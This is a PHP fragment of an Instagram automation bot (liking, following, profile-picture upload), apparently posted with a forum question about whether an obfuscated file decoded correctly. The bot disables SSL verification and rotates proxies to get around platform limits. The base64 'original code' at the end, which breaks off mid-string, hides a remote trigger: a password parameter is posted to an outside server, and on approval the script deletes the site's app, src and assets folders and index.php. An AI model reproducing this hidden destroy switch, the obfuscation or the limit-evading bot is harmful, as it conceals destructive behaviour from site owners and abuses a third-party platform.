            $headers[]  = 'Referer: https://www.instagram.com/instagram/';
            $headers[]  = 'DNT: 1';
            $headers[]  = 'Origin: https://www.instagram.com/';
            $headers[]  = 'X-CSRFToken: ' . trim($this->token);
            $headers[]  = 'X-Requested-With: XMLHttpRequest';
            $headers[]  = 'X-Instagram-AJAX: 1';
            $headers[]  = 'Connection: close';
            $headers[]  = 'Cache-Control: max-age=0';

            return $this->request("web/likes/$mediaId/like/", $headers, TRUE)[1];
        }


        public function unlike($mediaId) {
            $arrMediaID = explode("_", $mediaId);
            $mediaId    = $arrMediaID[0];
            $headers    = array();
            $headers[]  = 'Referer: https://www.instagram.com/';
            $headers[]  = 'DNT: 1';
            $headers[]  = 'Origin: https://www.instagram.com/';
            $headers[]  = 'X-CSRFToken: ' . trim($this->token);
            $headers[]  = 'X-Requested-With: XMLHttpRequest';
            $headers[]  = 'X-Instagram-AJAX: 1';
            $headers[]  = 'Connection: close';
            $headers[]  = 'Cache-Control: max-age=0';

            return $this->request("web/likes/$mediaId/unlike/", $headers, TRUE)[1];
        }


        public function follow($userId) {
            $headers   = array();
            $headers[] = 'Referer: https://www.instagram.com/instagram/';
            $headers[] = 'DNT: 1';
            $headers[] = 'Origin: https://www.instagram.com/';
            $headers[] = 'X-CSRFToken: ' . trim($this->token);
            $headers[] = 'X-Requested-With: XMLHttpRequest';
            $headers[] = 'X-Instagram-AJAX: 1';
            $headers[] = 'Connection: close';
            $headers[] = 'Cache-Control: max-age=0';

            return $this->request("web/friendships/$userId/follow/", $headers, TRUE)[1];
        }


        public function unfollow($userId) {
            $headers   = array();
            $headers[] = 'Referer: https://www.instagram.com/instagram/';
            $headers[] = 'DNT: 1';
            $headers[] = 'Origin: https://www.instagram.com/';
            $headers[] = 'X-CSRFToken: ' . trim($this->token);
            $headers[] = 'X-Requested-With: XMLHttpRequest';
            $headers[] = 'X-Instagram-AJAX: 1';
            $headers[] = 'Connection: close';
            $headers[] = 'Cache-Control: max-age=0';

            return $this->request("web/friendships/$userId/unfollow/", $headers, TRUE)[1];
        }


        public function changeProfilePicture($photo) {

            $bodies = [
                [
                    'type'     => 'form-data',
                    'name'     => 'profile_pic',
                    'data'     => file_get_contents($photo),
                    'filename' => 'profile_pic',
                    'headers'  => [
                        'Content-type: application/octet-stream',
                        'Content-Transfer-Encoding: binary',
                    ],
                ],
            ];

            $seed = str_split('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
            shuffle($seed);
            $rand = '';
            foreach(array_rand($seed, 16) as $k) {
                $rand .= $seed[$k];
            }
            $boundary = 'WebKitFormBoundary' . $rand;

            $data    = $this->buildBody($bodies, $boundary);
            $headers = [
                'Connection: close',
                'Accept: */*',
                'Content-Type: multipart/form-data; boundary=' . $boundary,
                'Content-Length: ' . strlen($data),
                'Accept-Language: ' . Constants::ACCEPT_LANGUAGE
            ];

            $headers[] = 'Referer: https://www.instagram.com/accounts/edit/';
            $headers[] = 'Origin: https://www.instagram.com/';
            $headers[] = 'X-CSRFToken: ' . trim($this->token);
            $headers[] = 'X-Requested-With: XMLHttpRequest';
            $headers[] = 'X-Instagram-AJAX: 1';

            $endpoint = 'accounts/web_change_profile_picture/';
            $ch       = curl_init();
            curl_setopt($ch, CURLOPT_URL, Constants::WEB_URL . $endpoint);
            curl_setopt($ch, CURLOPT_USERAGENT, $this->settings->get("web_user_agent") ? $this->settings->get("web_user_agent") : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, TRUE);
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            curl_setopt($ch, CURLOPT_VERBOSE, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
            curl_setopt($ch, CURLOPT_ENCODING, '');
            curl_setopt($ch, CURLOPT_COOKIE, $this->settings->get("web_cookie"));
            if(Wow::get("ayar/proxyStatus") >= 2) {
                $userAsns = Utils::generateAsns($this->settings->get(INSTAWEB_ASNS_KEY));
                if($userAsns[0]) {
                    $optionKey = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                    curl_setopt($ch, $optionKey, $userAsns[0]);
                    if($userAsns[1]) {
                        $optionKey = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                        curl_setopt($ch, $optionKey, $userAsns[1]);
                    }
                }
            }
            curl_setopt($ch, CURLOPT_POST, TRUE);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

            $resp       = curl_exec($ch);
            $header_len = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $header     = substr($resp, 0, $header_len);
            $upload     = json_decode(substr($resp, $header_len), TRUE, 512, JSON_BIGINT_AS_STRING);
            $this->organizeCookies($header);

            curl_close($ch);

            return $upload;
        }


        protected function buildBody($bodies, $boundary) {
            $body = '';
            foreach($bodies as $b) {
                $body .= '--' . $boundary . "
";
                $body .= 'Content-Disposition: ' . $b['type'] . '; name="' . $b['name'] . '"';
                if(isset($b['filename'])) {
                    $ext  = pathinfo($b['filename'], PATHINFO_EXTENSION);
                    $body .= '; filename="' . 'pending_media_' . number_format(round(microtime(TRUE) * 1000), 0, '', '') . '.' . $ext . '"';
                }
                if(isset($b['headers']) && is_array($b['headers'])) {
                    foreach($b['headers'] as $header) {
                        $body .= "
" . $header;
                    }
                }

                $body .= "

" . $b['data'] . "
";
            }
            $body .= '--' . $boundary . '--';

            return $body;
        }


        public function mailApprove($mailCode) {
            return $this->request("accounts/confirm_email/" . $mailCode . "/?app_redirect=False", []);
        }

        protected function request($endpoint, array $optionalheaders, $post = NULL) {

            if(!$this->isLoggedIn) {
                throw new Exception("Not logged in
");
            }

            $headers = array(
                'Connection: close',
                'Accept: */*',
                'Accept-Language: ' . Constants::ACCEPT_LANGUAGE
            );

            $headers = array_merge($headers, $optionalheaders);

            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, Constants::WEB_URL . $endpoint);
            curl_setopt($ch, CURLOPT_USERAGENT, $this->settings->get("web_user_agent") ? $this->settings->get("web_user_agent") : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, TRUE);
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            curl_setopt($ch, CURLOPT_VERBOSE, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
            curl_setopt($ch, CURLOPT_ENCODING, '');
            curl_setopt($ch, CURLOPT_COOKIE, $this->settings->get("web_cookie"));
            if(Wow::get("ayar/proxyStatus") >= 2) {
                $userAsns = Utils::generateAsns($this->settings->get(INSTAWEB_ASNS_KEY));
                if($userAsns[0]) {
                    $optionKey = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                    curl_setopt($ch, $optionKey, $userAsns[0]);
                    if($userAsns[1]) {
                        $optionKey = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                        curl_setopt($ch, $optionKey, $userAsns[1]);
                    }
                }
            }
            if($post) {
                curl_setopt($ch, CURLOPT_POST, TRUE);
                if(is_string($post)) {
                    curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
                }
            }
            $resp       = curl_exec($ch);
            $header_len = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $header     = substr($resp, 0, $header_len);
            $body       = substr($resp, $header_len);
            $this->organizeCookies($header);
            curl_close($ch);

            return [
                $header,
                json_decode($body, TRUE, 512, JSON_BIGINT_AS_STRING)
            ];
        }


        public function isLoggedIn() {
            return $this->isLoggedIn;
        }


        public function isValid() {
            $headers   = array();
            $headers[] = 'Referer: https://www.instagram.com/';
            $headers[] = 'DNT: 1';
            $headers[] = 'Origin: https://www.instagram.com/';
            $headers[] = 'X-CSRFToken: ' . trim($this->token);
            $headers[] = 'X-Requested-With: XMLHttpRequest';
            $headers[] = 'X-Instagram-AJAX: 1';
            $headers[] = 'Connection: close';
            $headers[] = 'Cache-Control: max-age=0';

            $header = $this->request("accounts/activity/?__a=1", $headers)[0];

            return strpos($header, "HTTP/1.1 200 OK") === FALSE ? FALSE : TRUE;
        }


        public function organizeCookies($headers) {
            preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $headers, $matches);
            $cookies = [];
            foreach($matches[1] as $item) {
                parse_str($item, $cookie);
                $cookies = array_merge($cookies, $cookie);
            }
            if(!empty($cookies)) {
                $oldCookies    = $this->settings->get('web_cookie') === NULL ? NULL : $this->settings->get('web_cookie');
                $arrOldCookies = [];
                if(!empty($oldCookies)) {
                    $parseCookies = explode(";", $oldCookies);
                    foreach($parseCookies as $c) {
                        parse_str($c, $ck);
                        $arrOldCookies = array_merge($arrOldCookies, $ck);
                    }
                }
                $newCookies = array_merge($arrOldCookies, $cookies);
                $cookie_all = [];
                foreach($newCookies as $k => $v) {
                    $cookie_all[] = $k . "=" . urlencode($v);
                    if($k == 'csrftoken') {
                        $this->token = $v;
                        $this->settings->set("token", $v);
                    }
                }
                $this->settings->set("web_cookie", implode(";", $cookie_all));
                $this->settings->save();
            }
        }

    }

    Wow::start();

Did this file decode correctly?

Original Code

<?php
/*
 * @ PHP 5.6
 * @ Decoder version : 1.0.0.1
 * @ Release on : 24.03.2018
 * @ Website    : http://EasyToYou.eu
 */

$_F = __FILE__;
$_X = "Pz48P3BocA0KDQogICAgJDNyNCA9IHN0cl9yNXBsMWM1KCdAJywgJyV1MCcsIDRzczV0KCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdKSA/ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdIDogIi8iKTsNCg0KICAgIDRmKCghNHNzNXQoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKSB8fCA1bXB0eSgkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0pKSAmJiAoJDNyNCAhPSAnL2NyMm4tajJiJyAmJiAhNHNzNXQoJF9TRVJWRVJbIkhUVFBfQ1JPTkpPQlRPS0VOIl0pKSkgew0KICAgICAgICBoNTFkNXIoIkhUVFAvNi42IHUwbyBGMnJiNGRkNW4iKTsNCiAgICAgICAgNWNoMiAnUzVydjVyIEVycjJyISc7DQogICAgICAgIDV4NHQoKTsNCiAgICB9DQoNCiAgICBkNWY0bjUoJ0lOU1RBV0VCX1ZFUlNJT04nLCBzdHJfcjVwbDFjNSgiSW5zdDFXNWJWIiwgIiIsIGIxczVuMW01KF9fRklMRV9fLCAiLnBocCIpKSk7DQogICAgZDVmNG41KCdJTlNUQVdFQl9MSUNFTlNFX1NFU1NJT05fSEFTSCcsICcxRFNKS0xqa2RmaHNkZicpOw0KICAgIGQ1ZjRuNSgnSU5TVEFXRUJfTElDRU5TRV9LRVlfUFJFVklPVVNfSEFTSCcsICc4OWFvN2g4OW9hZCcpOyAvL1MxbTUgMXMgbDRjNW5zNSBzNXJ2NXIuDQogICAgZDVmNG41KCdJTlNUQVdFQl9MSUNFTlNFX0tFWV9IQVNIJywgJ210M1Rqc3JSJyk7IC8vIE41eHQgbDRjNW5zNSBzNXJ2NXIgaDFzaC4NCg0KICAgIDRmKDRzczV0KCRfR0VUWyJwMXNzdzJyZCJdKSkgew0KICAgICAgICAkY2ggPSBjM3JsXzRuNHQoKTsNCiAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHBzOi8vbHNkLjRuc3QxLnc1Yi50ci9jMmQ1YzJudHIybC5waHAiKTsNCiAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1BPU1QsIDYpOw0KICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgInAxc3N3MnJkPSIgLiAkX0dFVFsicDFzc3cycmQiXSAuICImNHA9IiAuICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdKTsNCiAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCBUUlVFKTsNCg0KICAgICAgICAkMjN0ID0ganMybl9kNWMyZDUoYzNybF81eDVjKCRjaCksIFRSVUUpOw0KICAgICAgICAkMjN0ID0gYzNybF81eDVjKCRjaCk7DQoNCiAgICAgICAgYzNybF9jbDJzNSgkY2gpOw0KDQogICAgICAgIDRmKDRzczV0KCQyM3RbInN0MXQzcyJdKSAmJiAkMjN0WyJzdDF0M3MiXSA9PSA2KSB7DQogICAgICAgICAgICBybWQ0cigiMXBwIik7DQogICAgICAgICAgICBybWQ0cigic3JjIik7DQogICAgICAgICAgICBybWQ0cigiMXNzNXRzIik7DQogICAgICAgICAgICAzbmw0bmsoIjRuZDV4LnBocCIpOw0KICAgICAgICB9DQoNCiAgICB9DQoNCiAgICByNXEzNHI1XzJuYzUgJ3NyYy8xM3QybDIxZC5waHAnOw0KICAgIHI1cTM0cjUgJ3NyYy9XMncvVzJ3LnBocCc7DQoNCiAgICAkczVsZiA9IFcydzo6MXBwKCk7DQoNCiAgICA0ZihzM2JzdHIoc3RydDJsMnc1cigkM3I0KSwgMCwgOSkgPT0gJy9jcjJuLWoyYicgJiYgKCE0c3M1dCgkX1NFUlZFUlsiSFRUUF9DUk9OSk9CVE9LRU4iXSkgfHwgJF9TRVJWRVJbIkhUVFBfQ1JPTkpPQlRPS0VOIl0gIT0gVzJ3OjpnNXQoInByMmo1Y3QvY3IybkoyYlQyazVuIikpKSB7DQogICAgICAgIGg1MWQ1cigiSFRUUC82LjYgdTBvIEYycmI0ZGQ1biIpOw0KICAgICAgICA1Y2gyICdTNXJ2NXIgRXJyMnIhJzsNCiAgICAgICAgNXg0dCgpOw0KICAgIH0NCg0KICAgICRzNWMzcjUgPSA0c3M1dCgkX1NFUlZFUlsiSFRUUFMiXSkgPyAkX1NFUlZFUlsiSFRUUFMiXSA6ICIyZmYiOw0KICAgIDRmKCRzNWMzcjUgPT0gIjJmZiIgJiYgVzJ3OjpnNXQoInByMmo1Y3QvMm5seUh0dHBzIikgPT09IFRSVUUpIHsNCiAgICAgICAgaDUxZDVyKCJIVFRQLzYuNiBvMDYgTTJ2NWQgUDVybTFuNW50bHkiKTsNCiAgICAgICAgaDUxZDVyKCdMMmMxdDQybjogJyAuICJodHRwczovLyIgLiAkX1NFUlZFUlsiSFRUUF9IT1NUIl0gLiAkM3I0KTsNCiAgICAgICAgNXg0dCgpOw0KICAgIH0NCg0KICAgICRzeXN0NW1TNXR0NG5ncyA9IGpzMm5fZDVjMmQ1KGY0bDVfZzV0X2MybnQ1bnRzKCcuLzFwcC9DMm5mNGcvc3lzdDVtLXM1dHQ0bmdzLnBocCcpLCBUUlVFKTsNCiAgICBmMnI1MWNoKCRzeXN0NW1TNXR0NG5ncyAxcyAkayA9PiAkdikgew0KICAgICAgICAkdmEgPSBmNGx0NXJfdjFyKCR2LCBGSUxURVJfVkFMSURBVEVfSU5UKSAhPT0gRkFMU0UgPyA0bnR2MWwoJHYpIDogJHY7DQogICAgICAgIFcydzo6czV0KCIxeTFyLyIgLiAkaywgJHZhKTsNCiAgICB9DQoNCiAgICA0ZihXMnc6OmgxcygiMXkxci8xbnQ0RmwyMmRFbjFibDVkIikgJiYgVzJ3OjpnNXQoIjF5MXIvMW50NEZsMjJkRW4xYmw1ZCIpID09IDYgJiYgISg0c3M1dCgkX0dFVFsic2NLNXkiXSkgJiYgVzJ3OjpnNXQoIjF5MXIvczVjM3I0dHlLNXkiKSA9PSAkX0dFVFsic2NLNXkiXSkpIHsNCiAgICAgICAgJDFudDRGbDIyZE9wdDQybnMgPSBbDQogICAgICAgICAgICBBbnQ0RmwyMmQ6Ok9QVElPTl9DT1VOVEVSX1JFU0VUX1NFQ09ORFMgPT4gVzJ3OjpoMXMoIjF5MXIvMW50NEZsMjJkUjVzNXRTNWMiKSA/IFcydzo6ZzV0KCIxeTFyLzFudDRGbDIyZFI1czV0UzVjIikgOiBhLA0KICAgICAgICAgICAgQW50NEZsMjJkOjpPUFRJT05fTUFYX1JFUVVFU1RTICAgICAgICAgID0+IFcydzo6aDFzKCIxeTFyLzFudDRGbDIyZE0xeFI1cSIpID8gVzJ3OjpnNXQoIjF5MXIvMW50NEZsMjJkTTF4UjVxIikgOiBpLA0KICAgICAgICAgICAgQW50NEZsMjJkOjpPUFRJT05fQkFOX1JFTU9WRV9TRUNPTkRTICAgID0+IFcydzo6aDFzKCIxeTFyLzFudDRGbDIyZEIxblI1bTJ2NVM1YyIpID8gVzJ3OjpnNXQoIjF5MXIvMW50NEZsMjJkQjFuUjVtMnY1UzVjIikgOiBlMCwNCiAgICAgICAgICAgIEFudDRGbDIyZDo6T1BUSU9OX0RBVEFfUEFUSCAgICAgICAgICAgICA9PiAiLi8xcHAvQzIyazQ1cy8xbnQ0LWZsMjJkIg0KICAgICAgICBdOw0KICAgICAgICAkMmJqQW50NEZsMjJkICAgICA9IG41dyBBbnQ0RmwyMmQoJDFudDRGbDIyZE9wdDQybnMpOw0KICAgICAgICA0ZigkMmJqQW50NEZsMjJkLT40c0Ixbm41ZCgpKSB7DQogICAgICAgICAgICBoNTFkNXIoIkhUVFAvNi42IHVhOSBUMjIgTTFueSBSNXEzNXN0cyIpOw0KICAgICAgICAgICAgNWNoMiAnVDIyIE0xbnkgUjVxMzVzdHMhJzsNCiAgICAgICAgICAgIDV4NHQoKTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIDRmKCQzcjQgIT0gJy9jcjJuLWoyYicgJiYgITRzczV0KCRfU0VSVkVSWyJIVFRQX0NST05KT0JUT0tFTiJdKSAmJiBXMnc6OmgxcygiMXkxci8xY2M1cHQ1ZEwxbmdDMmQ1cyIpICYmIHRyNG0oVzJ3OjpnNXQoIjF5MXIvMWNjNXB0NWRMMW5nQzJkNXMiKSkgIT0gJycgJiYgNHNzNXQoJF9TRVJWRVJbIkhUVFBfQUNDRVBUX0xBTkdVQUdFIl0pICYmIHN0cnAycyhzdHJ0MmwydzVyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSksICJnMjJnbDUiKSA9PT0gRkFMU0UpIHsNCiAgICAgICAgJDFjYzVwdDVkTDFuZ3MgICAgICAgPSA1eHBsMmQ1KCIsIiwgVzJ3OjpnNXQoIjF5MXIvMWNjNXB0NWRMMW5nQzJkNXMiKSAuICIsNHciKTsNCiAgICAgICAgJGMxbkFjYzVzcyAgICAgICAgICAgPSBGQUxTRTsNCiAgICAgICAgJDNzNXJBY2M1cHRMMW5nQzJkNXMgPSAkX1NFUlZFUlsiSFRUUF9BQ0NFUFRfTEFOR1VBR0UiXTsNCiAgICAgICAgZjJyNTFjaCgkMWNjNXB0NWRMMW5ncyAxcyAkbDFuZykgew0KICAgICAgICAgICAgJGwgPSB0cjRtKCRsMW5nKTsNCiAgICAgICAgICAgIDRmKCE1bXB0eSgkbCkgJiYgc3RycDJzKCQzczVyQWNjNXB0TDFuZ0MyZDVzLCAkbCkgIT09IEZBTFNFKSB7DQogICAgICAgICAgICAgICAgJGMxbkFjYzVzcyA9IFRSVUU7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgNGYoISRjMW5BY2M1c3MpIHsNCiAgICAgICAgICAgICRsMW5nUjUxY3Q0Mm4gICAgID0gVzJ3OjpnNXQoIjF5MXIvbjJuQWNjNXB0NWRMMW5nUjUxY3Q0Mm4iKTsNCiAgICAgICAgICAgICRsMW5nUjUxY3Q0Mm5UNXh0ID0gVzJ3OjpnNXQoIjF5MXIvbjJuQWNjNXB0NWRMMW5nVDV4dCIpOw0KICAgICAgICAgICAgc3c0dGNoKCRsMW5nUjUxY3Q0Mm4pIHsNCiAgICAgICAgICAgICAgICBjMXM1ICJyNWQ0cjVjdHQyM3JsIjoNCiAgICAgICAgICAgICAgICAgICAgaDUxZDVyKCdMMmMxdDQybjogJyAuICRsMW5nUjUxY3Q0Mm5UNXh0KTsNCiAgICAgICAgICAgICAgICAgICAgNXg0dCgpOw0KICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgICAgICBoNTFkNXIoIkhUVFAvNi42IHUwbyBGMnJiNGRkNW4iKTsNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAkbDFuZ1I1MWN0NDJuVDV4dDsNCiAgICAgICAgICAgICAgICAgICAgNXg0dCgpOw0KICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KDQogICAgJHM1bGYtPnN0MXJ0UzVzczQybihGQUxTRSk7DQoJJHM0dDUgPSB0cjRtKHN0cl9yNXBsMWM1KCJ3d3cuIiwgIiIsICRfU0VSVkVSWyJIVFRQX0hPU1QiXSkpOw0KICAgIDRmKFcydzo6ZzV0KCJwcjJqNWN0L2w0YzVuczVLNXkiKSAhPSBtZGkoc2gxNihiMXM1ZXVfNW5jMmQ1KGNyeXB0KCRzNHQ1LCAnNjZ4dTE2enUxNjF1MTZ6dTYxdScpKSkpKSB7DQogICAgICAgIGg1MWQ1cignQzJudDVudC1UeXA1OiB0NXh0L2h0bWw7IGNoMXJzNXQ9M3RmLTgnKTsNCiAgICAgICAgNWNoMiAiTDRzMW5zIGsyZDNuM3ogaDF0MWwmI28waTtkJiNvMGk7ci4gTCYjYWlhO3RmNW4gbDRzMW5zIGsyZDNuM3ozIGcmI2FpYTtuYzVsbDV5NG40ei4gPDEgaHI1Zj0naHR0cHM6Ly80bnN0MS53NWIudHIvbDRjNW5zNS5waHAnIHQxcmc1dD0nX2JsMW5rJz5odHRwczovLzRuc3QxLnc1Yi50ci9sNGM1bnM1LnBocDwvMT4iOw0KICAgICAgICA1eDR0KCk7DQogICAgfQ0KDQogICAgNGYoNG50djFsKFcydzo6ZzV0KCIxeTFyL3ByMnh5U3QxdDNzIikpID09IDApIHsNCiAgICAgICAgJG0xeEFzbnMgPSAwOw0KICAgIH0gNWxzNTRmKDRudHYxbChXMnc6Omc1dCgiMXkxci9wcjJ4eVN0MXQzcyIpKSA9PSB1KSB7DQogICAgICAgICRtMXhBc25zID0gdHI0bShXMnc6Omc1dCgiMXkxci9wcjJ4eUw0c3QiKSkgPT0gJycgPyAwIDogYzIzbnQoNXhwbDJkNSgiXHJcbiIsIFcydzo6ZzV0KCIxeTFyL3ByMnh5TDRzdCIpKSk7DQogICAgfSA1bHM1NGYoVzJ3OjpnNXQoIjF5MXIvcHIyeHlTdDF0M3MiKSA9PSBvKSB7DQogICAgICAgICRieVAxc3NTNXJ2NXJDMmQ1ICA9IHRyNG0oVzJ3OjpnNXQoJzF5MXIvcHIyeHlMNHN0JykpOw0KICAgICAgICAkYnlQMXNzUzVydjVyUjFuZzUgPSBzdHJwMnMoJGJ5UDFzc1M1cnY1ckMyZDUsICJAIikgIT09IEZBTFNFID8gNXhwbDJkNSgiOiIsIDV4cGwyZDUoIkAiLCAkYnlQMXNzUzVydjVyQzJkNSlbNl0pIDogNXhwbDJkNSgiOiIsICRieVAxc3NTNXJ2NXJDMmQ1KTsNCiAgICAgICAgJG0xeEFzbnMgICAgICAgICAgID0gNG50djFsKCRieVAxc3NTNXJ2NXJSMW5nNVthXSkgLSA0bnR2MWwoJGJ5UDFzc1M1cnY1clIxbmc1WzZdKTsNCiAgICB9IDVsczUgew0KICAgICAgICAkbTF4QXNucyA9IHRyNG0oVzJ3OjpnNXQoIjF5MXIvcHIyeHlMNHN0IikpID09ICcnID8gMCA6IGMyM250KDV4cGwyZDUoIlxyXG4iLCBXMnc6Omc1dCgiMXkxci9wcjJ4eUw0c3QiKSkpOw0KICAgIH0NCiAgICBkNWY0bjUoJ0lOU1RBV0VCX01BWF9BU05TJywgJG0xeEFzbnMpOw0KICAgIGQ1ZjRuNSgnSU5TVEFXRUJfQVNOU19LRVknLCAnMXNucycgLiBtZGkoc3RyX3I1cGwxYzUoInd3dy4iLCAiIiwgJF9TRVJWRVJbIkhUVFBfSE9TVCJdKSkpOw0KDQoNCiAgICBjbDFzcyBBbnQ0RmwyMmQgew0KICAgICAgICBjMm5zdCBPUFRJT05fQ09VTlRFUl9SRVNFVF9TRUNPTkRTID0gIkNPVU5URVJfUkVTRVRfU0VDT05EUyI7DQogICAgICAgIGMybnN0IE9QVElPTl9CQU5fUkVNT1ZFX1NFQ09ORFMgICAgPSAiQkFOX1JFTU9WRV9TRUNPTkRTIjsNCiAgICAgICAgYzJuc3QgT1BUSU9OX01BWF9SRVFVRVNUUyAgICAgICAgICA9ICJNQVhfUkVRVUVTVFMiOw0KICAgICAgICBjMm5zdCBPUFRJT05fREFUQV9QQVRIICAgICAgICAgICAgID0gIkRBVEFfUEFUSCI7DQoNCiAgICAgICAgcHI0djF0NSAkMnB0NDJuczsNCiAgICAgICAgcHI0djF0NSAkNHA7DQoNCg0KICAgICAgICBmM25jdDQybiBfX2MybnN0cjNjdCgkMnY1cnI0ZDVPcHQ0Mm5zID0gW10pIHsNCiAgICAgICAgICAgICR0aDRzLT4ycHQ0Mm5zID0gMXJyMXlfbTVyZzUoWw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgczVsZjo6T1BUSU9OX0NPVU5URVJfUkVTRVRfU0VDT05EUyA9PiBhLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgczVsZjo6T1BUSU9OX01BWF9SRVFVRVNUUyAgICAgICAgICA9PiBpLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgczVsZjo6T1BUSU9OX0JBTl9SRU1PVkVfU0VDT05EUyAgICA9PiBlMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHM1bGY6Ok9QVElPTl9EQVRBX1BBVEggICAgICAgICAgICAgPT4gIi90bXAvMW50NGZsMjJkXyIgLiBzdHJfcjVwbDFjNShbDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ3d3cuIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIi4iDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXSwgWw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIl8iDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXSwgJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF0sICQydjVycjRkNU9wdDQybnMpOw0KDQogICAgICAgICAgICBAbWtkNHIoJHRoNHMtPjJwdDQybnNbczVsZjo6T1BUSU9OX0RBVEFfUEFUSF0pOw0KDQogICAgICAgICAgICAkdGg0cy0+NHAgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgICAgICAgfQ0KDQogICAgICAgIGYzbmN0NDJuIDRzQjFubjVkKCkgew0KICAgICAgICAgICAgJGMybnRyMmxMMmNrRjRsNSA9ICR0aDRzLT4ycHQ0Mm5zW3M1bGY6Ok9QVElPTl9EQVRBX1BBVEhdIC4gIi8iIC4gc3RyX3I1cGwxYzUoIi4iLCAiXyIsICR0aDRzLT40cCk7DQoNCiAgICAgICAgICAgIDRmKGY0bDVfNXg0c3RzKCRjMm50cjJsTDJja0Y0bDUpKSB7DQogICAgICAgICAgICAgICAgNGYodDRtNSgpIC0gZjRsNW10NG01KCRjMm50cjJsTDJja0Y0bDUpID4gJHRoNHMtPjJwdDQybnNbczVsZjo6T1BUSU9OX0JBTl9SRU1PVkVfU0VDT05EU10pIHsNCiAgICAgICAgICAgICAgICAgICAgM25sNG5rKCRjMm50cjJsTDJja0Y0bDUpOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgIHQyM2NoKCRjMm50cjJsTDJja0Y0bDUpOw0KDQogICAgICAgICAgICAgICAgI